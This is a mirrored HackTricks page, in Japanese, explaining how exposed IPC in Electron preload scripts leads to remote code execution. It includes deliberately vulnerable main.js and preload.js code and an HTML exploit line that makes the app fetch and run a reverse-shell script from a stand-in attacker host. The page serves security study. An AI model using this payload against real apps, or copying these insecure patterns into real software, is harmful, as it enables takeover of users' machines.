mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
100 lines
3.8 KiB
Markdown
100 lines
3.8 KiB
Markdown
# Electron contextIsolation RCE via IPC
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
もしプリロードスクリプトがmain.jsファイルからIPCエンドポイントを公開している場合、レンダラープロセスはそれにアクセスでき、脆弱であればRCEが可能になるかもしれません。
|
||
|
||
**これらの例のほとんどはここから取られました** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)。詳細については動画を確認してください。
|
||
|
||
## Example 0
|
||
|
||
[https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) からの例(これらのスライドでは、MS TeamsがXSSからRCEをどのように悪用していたかの完全な例があります。これは非常に基本的な例です):
|
||
|
||
<figure><img src="../../../images/image (9) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
## Example 1
|
||
|
||
`main.js`が`getUpdate`でリッスンし、**渡された任意のURLをダウンロードして実行する**方法を確認してください。\
|
||
また、`preload.js`が**mainから任意のIPC**イベントを**公開している**方法も確認してください。
|
||
```javascript
|
||
// Part of code of main.js
|
||
ipcMain.on("getUpdate", (event, url) => {
|
||
console.log("getUpdate: " + url)
|
||
mainWindow.webContents.downloadURL(url)
|
||
mainWindow.download_url = url
|
||
})
|
||
|
||
mainWindow.webContents.session.on(
|
||
"will-download",
|
||
(event, item, webContents) => {
|
||
console.log("downloads path=" + app.getPath("downloads"))
|
||
console.log("mainWindow.download_url=" + mainWindow.download_url)
|
||
url_parts = mainWindow.download_url.split("/")
|
||
filename = url_parts[url_parts.length - 1]
|
||
mainWindow.downloadPath = app.getPath("downloads") + "/" + filename
|
||
console.log("downloadPath=" + mainWindow.downloadPath)
|
||
// Set the save path, making Electron not to prompt a save dialog.
|
||
item.setSavePath(mainWindow.downloadPath)
|
||
|
||
item.on("updated", (event, state) => {
|
||
if (state === "interrupted") {
|
||
console.log("Download is interrupted but can be resumed")
|
||
} else if (state === "progressing") {
|
||
if (item.isPaused()) console.log("Download is paused")
|
||
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
|
||
}
|
||
})
|
||
|
||
item.once("done", (event, state) => {
|
||
if (state === "completed") {
|
||
console.log("Download successful, running update")
|
||
fs.chmodSync(mainWindow.downloadPath, 0755)
|
||
var child = require("child_process").execFile
|
||
child(mainWindow.downloadPath, function (err, data) {
|
||
if (err) {
|
||
console.error(err)
|
||
return
|
||
}
|
||
console.log(data.toString())
|
||
})
|
||
} else console.log(`Download failed: ${state}`)
|
||
})
|
||
}
|
||
)
|
||
```
|
||
|
||
```javascript
|
||
// Part of code of preload.js
|
||
window.electronSend = (event, data) => {
|
||
ipcRenderer.send(event, data)
|
||
}
|
||
```
|
||
エクスプロイト:
|
||
```html
|
||
<script>
|
||
electronSend("getUpdate", "https://attacker.com/path/to/revshell.sh")
|
||
</script>
|
||
```
|
||
## 例2
|
||
|
||
プリロードスクリプトがレンダラーに直接`shell.openExternal`を呼び出す方法を公開している場合、RCEを取得することが可能です。
|
||
```javascript
|
||
// Part of preload.js code
|
||
window.electronOpenInBrowser = (url) => {
|
||
shell.openExternal(url)
|
||
}
|
||
```
|
||
## Example 3
|
||
|
||
プリロードスクリプトがメインプロセスと完全に通信する方法を公開している場合、XSSは任意のイベントを送信できるようになります。これの影響は、メインプロセスがIPCに関して何を公開しているかに依存します。
|
||
```javascript
|
||
window.electronListen = (event, cb) => {
|
||
ipcRenderer.on(event, cb)
|
||
}
|
||
|
||
window.electronSend = (event, data) => {
|
||
ipcRenderer.send(event, data)
|
||
}
|
||
```
|
||
{{#include ../../../banners/hacktricks-training.md}}
|